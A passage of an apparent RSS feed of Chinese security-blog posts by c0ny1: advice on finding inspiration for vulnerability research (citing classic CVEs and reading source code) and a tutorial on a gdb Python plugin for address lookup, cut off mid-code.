31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-size: 90%;opacity: 0.6;"><span leaf="">[1]</span></code><span leaf=""> 《The Art of PHP — My CTF Journey and Untold Stories!》: </span><i style="word-break: break-all;"><span leaf=""><a href="https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/" target="_blank">https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/</a></span></i><span leaf=""><br/></span><code style="color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-size: 90%;opacity: 0.6;"><span leaf="">[2]</span></code><span leaf=""> 《有利学者培养科研品味的环境尚待形成》: </span><i style="word-break: break-all;"><span leaf=""><a href="https://espre.bnu.edu.cn/sysxw/kyjyjl/7cb9ad651c7a4ae38794122829ef95f1.html" target="_blank">https://espre.bnu.edu.cn/sysxw/kyjyjl/7cb9ad651c7a4ae38794122829ef95f1.html</a></span></i><span leaf=""><br/></span><code style="color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-size: 90%;opacity: 0.6;"><span leaf="">[3]</span></code><span leaf=""> 《美与物理》: </span><i style="word-break: break-all;"><span leaf=""><a href="https://www.youtube.com/watch?v=IVxAUlaasd4" target="_blank">https://www.youtube.com/watch?v=IVxAUlaasd4</a></span></i></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://gv7.me/articles/2025/regarding-the-passing-of-yang-zhenning-and-sec-research/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ad740af8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484452%26idx%3D1%26sn%3Dd922ef624f841dd098497d57a291f6c3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 21 Nov 2025 11:30:00 +0800</pubDate>
    </item>
    <item>
      <title>做安全研究没有灵感怎么办？</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484399&amp;idx=1&amp;sn=4803205275d29dd713d5f542ec9a2d8e</link>
      <description>获取灵感的小tips</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2025-11-08 14:59</span> <span style="display: inline-block;">中国香港</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6547d582&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPeyUPtflkHDTClZM0NC5AOuAOKaC4VPpKPOaPoiaefUoUCrEwz5GnaWKe7k30CvicibNSdzd5VVWVRDQ%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>获取灵感的小tips</p>

<div style=";"><h2 data-heading="true" style="display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: rgba(139, 55, 68, 1);font-size: 16.8px;font-weight: bold;text-align: center;"><span leaf="">1. 把自己放在问题里</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">我能清晰的感受到，之前在乙方公司做一线工作的时候，每天都有东西可以去探索有想法要去实现。而后面选择gap的几年时间里，我几乎没有输出过什么文章。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">后来我意识到了一线的工作环境每天会抛给你无数的问题。它倒逼我去主动思考解决问题，在解决问题的过程当中我发现了很多有意思的东西。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">可是我们无法决定自己的环境，那能否主动创造这样的氛围呢？</span></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">如下是我自己在实践的tips</span></p><ul style="list-style: circle;padding-left: 1em;margin-left: 0;color: #3f3f3f;" class="list-paddingleft-1"><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">• a. 关注社群/知识星球/朋友的提出的一些疑问，特别关注反复出现的</span></p></li><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">• b. CTF题目,可以当休闲时间的小玩具</span></p></li><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">• c. 在日常生活中细微的异常（经常报的错，莫名其妙的崩溃闪退，某些情况下网速异常...）</span></p></li></ul><h2 data-heading="true" style="display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: rgba(139, 55, 68, 1);font-size: 16.8px;font-weight: bold;text-align: center;"><span leaf="">2. 定期回顾经典漏洞/议题</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">太阳底下无新事</span></strong><span leaf="">，圣经里的这句话放在漏洞挖掘领域尤为合适。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">当我在觉得JumpServer伪随机重置密码漏洞（</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-42820</span></code><span leaf="">）使用</span><strong style="letter-spacing: 0.1em;color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;"><span leaf="" style="color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;">伪random+密码重置场景</span></strong><span leaf="">很有想象力时，其实早在15年前的</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2008-4102</span></code><span leaf="">已有所体现。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000738" data-ratio="0.8333333333333334" data-s="300,640" data-type="png" data-w="1080" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=39f3aed7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPeyUPtflkHDTClZM0NC5AOu5bQHL2kleA3efCaAM7diajeROlpZdgb1jrPI2dcubnBiaKZgZG7Alpow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">当我在感叹，Zoho ManageEngine ADAudit Plus XXE to RCE（</span><span leaf="" style="letter-spacing: 0.1em;font-size: 90%;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">CVE-2022-28219</span><span leaf="">）漏洞作者使用</span><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">XXE的上传和列目录</span></strong><span leaf="">非常巧妙时，原来Timothy Morgan早在2013年的AppSec USA</span><span leaf="">上提过。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7555555555555555" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000737" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=46994b39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPeyUPtflkHDTClZM0NC5AOuicrNsTNR49cS7FZTveOBCU8YLs3lyWELNG5CPj5ceB42UNGPeXHax8w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-heading="true" style="display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: rgba(139, 55, 68, 1);font-size: 16.8px;font-weight: bold;text-align: center;"><span leaf="">3. 阅读经典设计文档和源码</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">比如RFC文档,JDK源码,中间件实现等等</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Beched</span></code><span leaf="">曾经好奇</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">orange</span></code><span leaf="">是怎么知道</span><span leaf="" style="letter-spacing: 0.1em;color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;">phar涉及php反序列化的</span><sup style="letter-spacing: 0.1em;color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;"><span leaf="" style="letter-spacing: 0.1em;color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;"><br/></span></sup><span leaf="">，orange的回答是阅读php代码。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2638888888888889" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000736" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5d0f8269&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPeyUPtflkHDTClZM0NC5AOuIFGWCoqCKvhoLzEJq6ibVfnQ1m0lAjOtH0en5JNL5Ty2OhTJUsB9OBA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://gv7.me/articles/2025/what-if-you-lack-inspiration-for-your-security-research">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=13d1f768&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484399%26idx%3D1%26sn%3D4803205275d29dd713d5f542ec9a2d8e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 08 Nov 2025 14:59:00 +0800</pubDate>
    </item>
    <item>
      <title>编写gdb插件快速计算地址信息</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484378&amp;idx=1&amp;sn=3f76cb3dfc0435efdf80a7631c74a326</link>
      <description>debug过程中一键获取地址信息</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2025-09-05 12:00</span> <span style="display: inline-block;">中国香港</span>
</p>

<p>debug过程中一键获取地址信息</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8ea1e086&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPdVaicibnLFlmLEbO5EFCjOI8ExOm10Lr4qE1JH5VLibXETkfFiax9oRaxDOWa8nd0V1n4jmZFCmOcwrA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(159, 38, 56);"><span leaf="">0x00 背景</span></h2><p style="font-size: 0px;line-height: 0;margin: 0px;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style=""><p style=""><span leaf="">作为一张二进制白纸，有时候不得不查看一些地址的各类信息。比如：</span></p><ol style="" class="list-paddingleft-1"><li style=""><p><span leaf="">该地址在哪一个段呢? </span><code style=""><span leaf="">.bss</span></code><span leaf="">还是</span><code style=""><span leaf="">.data</span></code><span leaf="">？</span></p></li><li style=""><p><span leaf="">某个值是在堆还是栈？</span></p></li><li style=""><p><span leaf="">这个地址对应IDA/ghidra的地址是多少？</span></p></li><li style=""><p><span leaf="">该地址所属的映射文件是哪一个？</span></p></li><li style=""><p><span leaf=""> ......</span></p></li></ol></div><p style="font-size: 0px;line-height: 0;margin: 0px;"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">每次都要不断的执行命令,然后盯着屏幕的一长串地址列表看目标在那个范围。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">网上找了一圈也没找到合适插件，还是自己浅浅搓一个吧。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(159, 38, 56);"><span leaf="">0x01 梳理</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">要回答上面的问题，我们其实只需要获取到如下3类信息。</span></p><ol style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">1. 基地 + 偏移</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">2. 段名</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">3. 所属映射文件</span></p></li></ol><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">翻了一下文档</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">Python API (Debugging with GDB)</span><sup style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 10.5px;line-height: 0;vertical-align: baseline;top: -0.5em;"><span leaf="">[1]</span></sup></span><span leaf="">发现除了没有合适的api直接获取，看样子只能通过内置的命令获取（有点不优雅）。</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">info files</span><span leaf="">info proc mappings</span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(159, 38, 56);"><span leaf="">0x02 实现</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">获取</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">info proc mappings</span></code><span leaf="">命令结果后，遍历出目标地址所在地址范围。objfile列就是目标地址所属映射文件，而</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><span leaf="">基地址+偏移</span></strong><span leaf="">可以按照如下公式计算。</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">基址 = Start Addr</span><span leaf="">偏移 = 目标地址 - 基址</span></code></pre><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5416666666666666" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000682" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b0f86721&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPdVaicibnLFlmLEbO5EFCjOI8cWUO77XFfFxZszYicFiciaQVgrInoMrdaiajNmVSVq8PzZ31CtNcMwrRNg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">段的信息，可以从</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">info files</span></code><span leaf="">信息进行提取。根据地址所在的范围，提取对应的段名。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9203703703703704" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000683" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e1dc2d8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPdVaicibnLFlmLEbO5EFCjOI8edZtEzNEsajibJ941K0mv5laGw3mzpPLUZgekrericOljKzn7m1L2Mgw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">完整代码如下</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> re</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> gdb</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">class</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">AddrInfo</span></span><span leaf="">(gdb.Command):</span><span leaf="">    PLUGIN_NAME = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;AddrInfo&#34;</span></span><span leaf="">    VERSION = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;1.0&#34;</span></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(166, 226, 46);"><span leaf="">__init__</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">self</span></span><span leaf="">):</span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">super</span></span><span leaf="">(AddrInfo, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">self</span></span><span leaf="">).__init__(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;addrinfo&#34;</span></span><span leaf="">, gdb.COMMAND_USER)</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(166, 226, 46);"><span leaf="">invoke</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 